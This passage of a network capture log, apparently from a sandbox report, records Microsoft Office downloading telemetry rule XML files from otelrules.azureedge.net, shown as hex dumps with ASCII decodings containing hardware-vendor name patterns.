2024-11-17 00:38:18 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:18 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:18 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003818Z-16547b76f7ff9zf4hC1DFW2pfc000000017g000000002423 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:18 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:18 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003818Z-16547b76f7fwm7vghC1DFW900s000000015g000000007ze3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:19 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003819Z-16547b76f7fgfpmjhC1DFWw6ec000000031g000000005tdc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:19 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003819Z-16547b76f7f64d6whC1DFWf9vn0000000260000000005u8f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:19 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003819Z-16547b76f7f6892shC1DFWawd000000000f0000000005e3d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:19 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:19 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003819Z-16547b76f7fbkfmzhC1DFWm9tw0000000380000000004p95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:19 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:19 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:19 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003819Z-16547b76f7fwm7vghC1DFW900s000000011g00000000mfh9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:19 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:20 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0687e1b8-601e-0001-3ef1-36faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003820Z-164f84587bffvwt9hC1DFW2ktw000000018000000000cra9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:20 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003820Z-1866b5c5fbb7km9phC1DFWr2sc00000002eg000000005t8a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:20 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: cf84bce2-801e-0083-40b8-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003820Z-1866b5c5fbb5hnj5hC1DFW18sc00000003n000000000m4fc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:20 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:20 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003820Z-1866b5c5fbbxjblthC1DFW6b4800000001dg00000000h6bn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:20 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:20 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
